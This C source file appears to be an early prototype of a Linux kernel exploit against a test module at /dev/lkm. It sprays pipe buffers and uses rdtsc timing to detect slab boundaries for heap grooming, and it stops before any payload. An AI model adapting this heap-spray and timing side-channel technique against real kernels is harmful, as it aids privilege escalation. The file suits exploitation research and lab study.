157 lines
3.1 KiB
C
157 lines
3.1 KiB
C
#define _GNU_SOURCE
|
|
#include <sys/socket.h>
|
|
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
|
|
#define LKM_DEVICE "/dev/lkm"
|
|
|
|
// where does this come from?
|
|
#define OBJS_PER_SLAB 42
|
|
#define SPRAY (OBJS_PER_SLAB * 200)
|
|
#define PIPES (OBJS_PER_SLAB * 10)
|
|
|
|
int spray[SPRAY][2];
|
|
int pipes[PIPES][2];
|
|
char buffer[0x100];
|
|
|
|
void
|
|
error(char *origin)
|
|
{
|
|
switch (errno) {
|
|
case EFAULT:
|
|
printf("%s: EFAULT\n", origin);
|
|
break;
|
|
case EINVAL:
|
|
printf("%s: EINVAL\n", origin);
|
|
break;
|
|
case EMFILE:
|
|
printf("%s: EMFILE\n", origin);
|
|
break;
|
|
case ENFILE:
|
|
printf("%s: ENFILE\n", origin);
|
|
break;
|
|
default:
|
|
printf("%s: %i: unknown\n", origin, errno);
|
|
}
|
|
exit(-1);
|
|
}
|
|
|
|
extern inline size_t
|
|
rdtsc_begin(void)
|
|
{
|
|
size_t a, d;
|
|
asm volatile("mfence");
|
|
asm volatile("rdtsc" : "=a"(a), "=d"(d));
|
|
a = (d << 32) | a;
|
|
asm volatile("lfence");
|
|
return a;
|
|
}
|
|
|
|
extern inline size_t
|
|
rdtsc_end(void)
|
|
{
|
|
size_t a, d;
|
|
asm volatile("lfence");
|
|
asm volatile("rdtsc" : "=a"(a), "=d"(d));
|
|
a = (d << 32) | a;
|
|
asm volatile("mfence");
|
|
return a;
|
|
}
|
|
|
|
int
|
|
main(void)
|
|
{
|
|
printf("main: start\n");
|
|
|
|
printf("main: spray to reduce TLB noise part 1: %u objects\n",
|
|
SPRAY / 2);
|
|
for (size_t i = 0; i < SPRAY / 2; i++) {
|
|
if (pipe2(spray[i], O_NONBLOCK) < 0) {
|
|
error("main: spray one: pipe2");
|
|
}
|
|
if (fcntl(spray[i][0], F_SETPIPE_SZ, 8192) < 0) {
|
|
error("main: spray one: fcntl");
|
|
}
|
|
if (write(spray[i][1], buffer, 8) < 0) {
|
|
error("main: spray one: write");
|
|
}
|
|
}
|
|
|
|
// May need socket and two parts instead
|
|
FILE *device = fopen(LKM_DEVICE, "r+");
|
|
printf("main: fopen: %p\n", device);
|
|
if (!device) {
|
|
printf(
|
|
"main: fopen: Error opening %s. Make sure the kernel module is loaded\n",
|
|
LKM_DEVICE);
|
|
exit(1);
|
|
}
|
|
|
|
printf("main: spray to reduce TLB noise part 2: %u objects\n",
|
|
SPRAY / 2);
|
|
size_t t_delta;
|
|
size_t t_prev = -1;
|
|
size_t last_slab = -1;
|
|
int found = 0;
|
|
for (size_t i = SPRAY / 2; i < SPRAY; i++) {
|
|
if (pipe2(spray[i], O_NONBLOCK) < 0) {
|
|
error("main: spray two: pipe2");
|
|
}
|
|
|
|
size_t t0 = rdtsc_begin();
|
|
if (fcntl(spray[i][0], F_SETPIPE_SZ, 8192) < 0) {
|
|
error("main: spray two: fcntl");
|
|
}
|
|
size_t t1 = rdtsc_end();
|
|
|
|
if (write(spray[i][1], buffer, 8) < 0) {
|
|
error("main: spray two: write");
|
|
}
|
|
|
|
t_delta = t0 - t1;
|
|
|
|
if (t_delta > (t_prev + 1000)) {
|
|
if (last_slab == (size_t)-1) {
|
|
last_slab = i;
|
|
} else if (i - last_slab == OBJS_PER_SLAB) {
|
|
printf(
|
|
"main: spray two: two full slabs detected\n");
|
|
found = 1;
|
|
break;
|
|
} else {
|
|
last_slab = -1;
|
|
}
|
|
}
|
|
|
|
t_prev = t_delta;
|
|
}
|
|
|
|
if (!found) {
|
|
printf(
|
|
"main: reached end of spray without detecting two full slabs");
|
|
exit(-1);
|
|
}
|
|
|
|
printf("main: pipe allocation primitive: %i\n", PIPES);
|
|
for (size_t i = 0; i < PIPES; i++) {
|
|
if (pipe2(spray[i], O_NONBLOCK) < 0) {
|
|
error("main: spray one: pipe2");
|
|
}
|
|
if (fcntl(spray[i][0], F_SETPIPE_SZ, 8192) < 0) {
|
|
error("main: spray one: fcntl");
|
|
}
|
|
if (write(spray[i][1], buffer, 8) < 0) {
|
|
error("main: spray one: write");
|
|
}
|
|
}
|
|
|
|
size_t dpm_base;
|
|
|
|
fclose(device);
|
|
printf("main: done\n");
|
|
}
|